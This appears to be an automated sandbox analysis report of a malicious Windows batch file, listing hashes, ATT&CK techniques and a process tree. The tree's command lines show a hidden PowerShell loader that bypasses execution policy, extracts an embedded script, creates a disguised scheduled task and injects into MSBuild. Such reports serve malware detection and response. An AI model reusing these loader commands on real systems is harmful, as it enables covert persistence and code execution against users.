00372c76b6db94076f971174fa45c4af3ea72344ce9bae1499a9218ba9eb0d72

Analysis

max time kernel
298s
max time network
297s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
06/06/2026, 17:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Sample Qunty.bat
Size 1.9MB
Sample260606-weld1abs2t
SHA256 00372c76b6db94076f971174fa45c4af3ea72344ce9bae1499a9218ba9eb0d72
MD5 a41ad0308f3152de98244789020b0b0d
SHA1 4d6755b085d50bce2c790b33b2d00d9e177619ad
SHA512 addccc58cdd669b57150caad2b3f557dd112b405ad09d1c0d63ea8b8ecd263ff6dac7fd17f839fd80bc33f589ba99c282079ef9167f03f1838bd004083130f0d
SSDEEP 24576:8eXKWKw5MlKaRld+rHqVCqcdkNRLpj1MBCwEGhtm0:r
TLSH
T1FC95CFDDD06E45C68C043FC5BC281AC79B6987728A7400193BBB7E485F7B4BEC11AEA5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4056	powershell.exe
5444	powershell.exe
2844	powershell.exe
5812	powershell.exe
5288	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2844 set thread context of 5848	2844	powershell.exe	111

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\http:\schemas.microsoft.com\windows\2004\02\mit\task^>	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3792	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4056	powershell.exe
4056	powershell.exe
5812	powershell.exe
5812	powershell.exe
5444	powershell.exe
5444	powershell.exe
5288	powershell.exe
5288	powershell.exe
4464	powershell.exe
4464	powershell.exe
2844	powershell.exe
2844	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	5812	powershell.exe
Token: SeDebugPrivilege	5444	powershell.exe
Token: SeDebugPrivilege	5172	whoami.exe
Token: SeDebugPrivilege	5288	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	5848	MSBuild.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 5132 wrote to memory of 4056	5132	cmd.exe	81
PID 4056 wrote to memory of 5064	4056	powershell.exe	82
PID 5064 wrote to memory of 2532	5064	cmd.exe	84
PID 2532 wrote to memory of 2644	2532	cmd.exe	85
PID 5064 wrote to memory of 3428	5064	cmd.exe	86
PID 3428 wrote to memory of 5868	3428	cmd.exe	87
PID 5064 wrote to memory of 4996	5064	cmd.exe	88
PID 4996 wrote to memory of 6040	4996	cmd.exe	89
PID 5064 wrote to memory of 5812	5064	cmd.exe	90
PID 5064 wrote to memory of 5444	5064	cmd.exe	91
PID 5444 wrote to memory of 240	5444	powershell.exe	92
PID 240 wrote to memory of 3168	240	cmd.exe	93
PID 3168 wrote to memory of 2528	3168	net.exe	94
PID 240 wrote to memory of 5300	240	cmd.exe	95
PID 240 wrote to memory of 5716	240	cmd.exe	96
PID 5716 wrote to memory of 5172	5716	cmd.exe	97
PID 240 wrote to memory of 2952	240	cmd.exe	98
PID 2952 wrote to memory of 5576	2952	net.exe	99
PID 240 wrote to memory of 3792	240	cmd.exe	100
PID 240 wrote to memory of 1316	240	cmd.exe	101
PID 1316 wrote to memory of 3148	1316	cmd.exe	102
PID 240 wrote to memory of 3080	240	cmd.exe	103
PID 3080 wrote to memory of 3224	3080	cmd.exe	104
PID 240 wrote to memory of 5288	240	cmd.exe	105
PID 240 wrote to memory of 2844	240	cmd.exe	108
PID 2844 wrote to memory of 332	2844	powershell.exe	109
PID 332 wrote to memory of 4868	332	csc.exe	110
PID 2844 wrote to memory of 5848	2844	powershell.exe	111
PID 2844 wrote to memory of 5848	2844	powershell.exe	111
PID 2844 wrote to memory of 5848	2844	powershell.exe	111
PID 2844 wrote to memory of 5848	2844	powershell.exe	111
PID 2844 wrote to memory of 5848	2844	powershell.exe	111

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:XFL4+$q+$q+' a1b0c63b1c';$i=New-Object System.Diagnostics.ProcessStartInfo('C:\Windows\System32\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"" a1b0c63b1c
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c find /c /v "" < "C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2532
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:2644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3428
    - - C:\Windows\system32\findstr.exe
        
        findstr /n /C:"---BEGIN_PS---" "C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"
        5⤵
        
        PID:5868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c findstr /n /C:"---BEGIN_ENC---" "C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Windows\system32\findstr.exe
        
        findstr /n /C:"---BEGIN_ENC---" "C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat"
        5⤵
        
        PID:6040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\Users\Admin\AppData\Local\Temp\Sample Qunty.bat' -Tail 26636 | Select-Object -First 38 | Set-Content 'C:\Users\Admin\AppData\Local\Temp\svc_10517236_18256.ps1' -Encoding UTF8"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\svc_10517236_18256.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5444
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\SysWOW64\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2nlihcfh4vv.bat" __hidden
        5⤵
        System Location Discovery: System Language Discovery
        NTFS ADS
        Suspicious use of WriteProcessMemory
        
        PID:240
      - C:\Windows\SysWOW64\net.exe
        
        net session
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3168
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2528
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /query /tn "SystemTelemetrics"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5300
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c whoami 2>nul
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5716
        
        C:\Windows\SysWOW64\whoami.exe
        
        whoami
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5172
      - C:\Windows\SysWOW64\net.exe
        
        net session
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2952
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5576
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn ""SystemTelemetrics"" /xml "C:\Users\Admin\AppData\Local\Temp\td_10706190.xml" /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3792
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c find /c /v "" < "C:\Users\Admin\AppData\Local\Temp\2nlihcfh4vv.bat"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1316
        
        C:\Windows\SysWOW64\find.exe
        
        find /c /v ""
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3148
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\Users\Admin\AppData\Local\Temp\2nlihcfh4vv.bat"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3080
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /n /C:"---BEGIN_PS---" "C:\Users\Admin\AppData\Local\Temp\2nlihcfh4vv.bat"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3224
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\Users\Admin\AppData\Local\Temp\2nlihcfh4vv.bat' -Tail 124 -Encoding UTF8 | Set-Content 'C:\Users\Admin\AppData\Local\Temp\svc_135016_2713728290_18627.ps1' -Encoding UTF8"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5288
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\svc_135016_2713728290_18627.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2844
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iy4ixdke\iy4ixdke.cmdline"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:332
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7088.tmp" "c:\Users\Admin\AppData\Local\Temp\iy4ixdke\CSCE018CFA1DE9B473288C494F7BF596EC0.TMP"
        8⤵
        
        PID:4868
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 6fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425
MD5 e080d58e6387c9fd87434a502e1a902e
SHA1 ae76ce6a2a39d79226c343cfe4745d48c7c1a91a
SHA512 6c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede
TLSH
T13D4159303121B5D80D435F5608286EC9A2FF474ABFAC9F5CB669221DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 a553be0c51ff4993522ae3094b3df2ff1495d85c9df99e6c9d4f0c9515aecfd8
MD5 903da10422d226496e11707df5a07faf
SHA1 8dcd899c25663b960b4f4574a0488151106fc755
SHA512 8af7e5e1290c961c7471b7141613bcbca1036e9ede9647d8168569e6b895703c4c086a520ce48690bc89f6b177ab3acd413faadeda980cdd5f2e7f964c909403
SSDEEP 1536:LflJdDiFHzdySYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzd9YLYkzvHgfKQNUpeE711kz
TLSH
T10A537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 65KB
SHA256 b9dcbbb56bdbc1541110824cf3721ddf343b46de8fe17d8706cba5df7ef055eb
MD5 9bb3003daaf179437144e869f7a6b513
SHA1 edd8549d033c873c44b962f3bcb135fe266766ca
SHA512 be5c219855c32b9caba8b2af912ba0fd52cc8bd862f351048dd8d6008b07bef8804069378b8215658d558a66134b7bce0ec3b8f3587d9cbab8bf6abcb6919107
SSDEEP 1536:LflJdDiFHzdySYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjBC:LflJdWFHzd9YLYkzvHgfKQNUpeE711kJ
TLSH
T13F637492E9204D71E2A65F3EF19622627D30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 65KB
SHA256 1841b1e481ad237c3458fa5d02af7789e2e26b71eeeaffc7297bb06355f7cbbe
MD5 5b6bbf9174298c4a8e4c2a90ece26df3
SHA1 a7b0434dbd23472b576138a0379908796c490dba
SHA512 7110ef8480f0580276301c4f3eb02afea5b4e61abdd49ff0c7729517c2b4882fee9f426c8144a5fff3d417d24eb70447b140e67ab109cd9d24119a95d586490f
SSDEEP 1536:JflJd8iFHzwXYLYkzvHgfKQNUpeE711kDa5ikNJ+jH0tfUMTYo3ri3jiRjdvRrMB:JflJdhFHzMYLYkzvHgfKQNUpeE711kD5
TLSH
T11C639592E9204E71E1A66F3EF15622627D30394690F8113212DC25EFA987D970B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b2e458e6b8650ff49cf0b77e3d93bc4813d56397786d52c3b7b9e1101e0a70b0
MD5 74ec5bb906f9cedbba17db1c897b6ec4
SHA1 f7eb6393bbd64fe76f30e9262b81318e5b3003ef
SHA512 47db2f87169fbeb5203d7fd57ba8cc3345f073a9c95115df28d4cc0d892a660028bd10620df0aecd31b108203104b2dc9ebda588c1ac4fe1e0643032889f30db
TLSH
T1A7219B33B39CC525C8C9117A1099AD0072B5C7DB449ECE8B7B88C509E53F5A9CB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6384c25b3d529fa11daf1d8f49bdf77ac679d51099d48cdd6209e98580d31e4b
MD5 5ca666d3edb09f4670656a789f00c93c
SHA1 8f46c492e4734e3aaf54766e4644842aece3a10b
SHA512 5204087f54290c0f4244dabd80816fb29c7c5a3ebd4afeb6ca57f0814d79a7b330b36d94208ddf4a80b1e7423572653243e84431988d0ee86a0325807c3eb2e9
TLSH
T1C911BA33B79CC1B5C8D9127A1088AD01B1B2C3CB009FCECB7A84C408E57F98ADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 49d99026e3e61ee98deb0c733f319947d7b1eed92689330ae44f1677a1a38794
MD5 38ef6972bb8d3016a317c0964b5ff2a8
SHA1 4931358f2c644ddceeb57be1011592e94b254596
SHA512 0b6864ed528fc716bd7a127db34791fce8ab99b4bfa16df3366179e3ed8a407c9989d5c9b7064839db7a1c0bdf676075a51450df41186ab80e13a93ca85beb47
TLSH
T112217B37B39CC175C8D9117A1088AD01B2B6C3CB449ECEDB7B84C508E57F999DB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 1f563fba3ff1fd267be108c3baf920053dee253f5e422449f2ff2cf662d391e2
MD5 e6771589ffef0b472087f3859117cac2
SHA1 f95cfc49e0d018d017e6f7ca7a9aa6d29d96faa9
SHA512 1d80cc0217abcf834a7f3e4f59e3072562c520e33195d746540b2d5b61f59c20b36fb12e36aa2abe7a8d8171f3a4b5dd7ce68b4b1262094f0da19ecad1bbf376
SSDEEP 384:LM3HrxSS1kAboUlSUTZu4nN7js26tgrNTKw59j9o7xLb:w9SS3VlSKZj7j76tg5TKyj9o7B
TLSH
T1447293AE724F22C3C4C52378D10A054FF4F2DECD131A07DDB72A9E3B89ACA5E5169558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2nlihcfh4vv.bat

Path C:\Users\Admin\AppData\Local\Temp\2nlihcfh4vv.bat
Size 935KB
SHA256 be887641ae75b800d50764f9da292bbf790b831ee0b14d1d232b565e9043b66d
MD5 5afb2fcd9f74ebd18ed5fbde69ade55c
SHA1 8334b8f7edc808054118b39bb1e94a1383050c27
SHA512 df71f28b4cb4ab32576c4e46f67ce48e9885a672f3b89d60d95034822c42ebd563a27e19dadada55b7bfa76d245f695ca1d6652ac04491f68322ebebbb8b2b12
SSDEEP 24576:8VZzu7viBrz5RJ0VsymAukKKZPq+mUL5bSLrCTmQx:VSUZvL4AN
TLSH
T15415CFF35103FCE61F6E1E0080483E651CBD2CEF9268B558BA8C0AE671E9554EE6DDB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES7088.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7088.tmp
Size 1KB
SHA256 b1b32d3b53bdaf9b2732122da3beb79db2f6916af7a5034f5b517e4ebf4c6452
MD5 af05a7c02ccfc1529b625af8233d6a75
SHA1 2d2046ddeecd00d19ab36b3f6dd36f9c43b8417e
SHA512 1be5e245f4ebe08ad067a71f4745ee9addf029a67aa4de3681f73d85adbf917d4030af3a6bcd8ba2128a4f19ff1de5b91f477d9ae51318f9cd1677caf32826e6
TLSH
T10821AB1593E8471FF0B7573169F6172FA234FC69EFA1A76B8540422C2C91644EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hudosxmi.w13.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hudosxmi.w13.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

iy4ixdke.dll

Path C:\Users\Admin\AppData\Local\Temp\iy4ixdke\iy4ixdke.dll
Size 3KB
SHA256 f2c72396bddecb6b856af44e8a7e5801efcb1cdbbf9bdeef60719345c034bea3
MD5 ca8d44204ef0794abf6da5a03206ab88
SHA1 bb358110914fd345038dc7b6609d3eed34f77841
SHA512 8e8b9d0f93345c694dfabb5fee895299e1acaf6fa271f87203574c16ad114863afe2469815061a9983939469c9a00066254878ad1dc2a268ead216177bee5df9
TLSH
T1B451CB1A5BE8862BE4B70B305DF3432637A4FC109BB2571E1D900218AD616584E21FB0
MD5 SHA1 SHA512 TLSH

Submit Download

svc_10517236_18256.ps1

Path C:\Users\Admin\AppData\Local\Temp\svc_10517236_18256.ps1
Size 2KB
SHA256 7026293fb34ae135fcbe92ddf66eea4a603f5741746a16152d7eedea71bcd4e6
MD5 73ad9fba255882c1083f6f18a9d969cf
SHA1 57300feb306a7dc3271d330fed18eecf0e2d629d
SHA512 77cf975f37bde5ac69cbf9c7db10f21cef28ec253ae553c7f51a66fabb240165c62630310b54b26871f9ddb93a658261d55778772e57b9a1298982675a7f30c9
TLSH
T14C51876A7795D56E09D7637279848682A429E33F8136DC00F7E9D6C4E10AF0503AE2CF
MD5 SHA1 SHA512 TLSH

Submit Download

svc_135016_2713728290_18627.ps1

Path C:\Users\Admin\AppData\Local\Temp\svc_135016_2713728290_18627.ps1
Size 928KB
SHA256 55aa8a5f4e5c698c0a95dd246c5a5779d7a024edfefee916367fa4a342ca18b0
MD5 c286233b8a056cc63bb73a612094a31d
SHA1 eae1116ea0a8075f7a6f542bf6b3ed41e7c24944
SHA512 c11ee975bc45a0437df958bdb5418e912c03556590ae1a8a101c792caa4bdfb8be07a6a958d987a5bdee317d92f5dde4b1a39a3e55163fee41611c01d99036dd
SSDEEP 24576:TVZzu7QiBrz5RJ0VsymAukKKZPq+mUL5bSLrCTmQU:i7UZvL4Ag
TLSH
T14315CFF34103FCE61F6E1E0080483E655CBD2CEF9268B558BA8C0AE671E9554EE6DDB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

td_10706190.xml

Path C:\Users\Admin\AppData\Local\Temp\td_10706190.xml
Size 1KB
SHA256 ed1ff8913301e7b30ccc148e8ceb45f9c596e47db0077d9ca67cb99a6bb430e0
MD5 e86e6bb5e14e198950c9c2a3f4e45550
SHA1 87aa7398721bae5cd5622dbb9613a17c48fdbbd2
SHA512 579958c93b8abf5c91e8377afb7e058bafc2f0e6326e8a57fa6f18ee569185c7ecebc206f1366ff9a939b3919218377560fe6981915697329e890f6c0d7db6a5
TLSH
T18A41D7709E61FE0FE577923BD45193C3A57B53514BA70030CDC88D7F688919611C391B
MD5 SHA1 SHA512 TLSH

Submit Download

CSCE018CFA1DE9B473288C494F7BF596EC0.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\iy4ixdke\CSCE018CFA1DE9B473288C494F7BF596EC0.TMP
Size 652B
SHA256 9061d6f4b0a25c6922a35ab5e3d03d7e99b8a0ef5d30ca33bf5c70cc62e804fc
MD5 b8bc43d0c3f13254b490120e707a0af4
SHA1 ce365b03939152a637732e6cd30c57c51c9c97c2
SHA512 34390dc9de8d89f21bbb6a5256d35a8baed7aa4d73f6aadce6795fdd787dee99a27b218022de8fd2c258ed1f18e5ec4419e0110c31f01f864fa97e2de9319603
TLSH
T1C9F05E0963F8420EF4F38B30BDF6436391A8BC65DE3293ED144003192C64A108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

iy4ixdke.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\iy4ixdke\iy4ixdke.0.cs
Size 342B
SHA256 6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea
MD5 1c557a6f00ffd168e4e9dae74ea45b7e
SHA1 5928a97cbf54955522ad00c87137658c9d5b927a
SHA512 4e92ae86daa651a548cf885afde0c37d0cf514f03c6c7b31fd06593f313066bbd8ed5945ff4b33eddab91c8fb239fb4af8dbdb21b80ee9183763133909673bbd
TLSH
T1A7E086147EF2FF3010534C2A9D8BE4FDB62B902727BB1A146AB85312DF4B0464239E55
MD5 SHA1 SHA512 TLSH

Submit Download

iy4ixdke.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\iy4ixdke\iy4ixdke.cmdline
Size 369B
SHA256 2c08a51f9050fcffa2373e33d0270fbe9f983b860e127f710794e123ebfac5b0
MD5 1117b8307b910461061baaf1e77e5cb8
SHA1 55dc05440462d158fe1e92dbbb3cfa89aebb3176
SHA512 e1fc45f8e0ce232fbf257fec322f8e55c5bb0548e4d0680d87e4d42358043d1dcc879da0132732b647ebfcc89874d2b69caaf51dba8bdd4ab25acbafe668d2ff
TLSH
T13EE0C02B4346C37F01DD150721E9D4BCCE72074329803F845060841DD09740827D1753
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2844-107-0x0000000007A10000-0x0000000007A18000-memory.dmp

Download

memory/2844-106-0x00000000079F0000-0x00000000079F8000-memory.dmp

Download

memory/2844-93-0x0000000008040000-0x00000000086BA000-memory.dmp

Download

memory/2844-91-0x0000000006C70000-0x0000000006C88000-memory.dmp

Download

memory/2844-88-0x0000000006390000-0x00000000066E7000-memory.dmp

Download

memory/4056-13-0x000001D417980000-0x000001D418442000-memory.dmp

Download

memory/4056-10-0x000001D417980000-0x000001D418442000-memory.dmp

Download

memory/4056-9-0x000001D417980000-0x000001D418442000-memory.dmp

Download

memory/4056-8-0x000001D417980000-0x000001D418442000-memory.dmp

Download

memory/4056-0-0x000001D41814A000-0x000001D41814B000-memory.dmp

Download

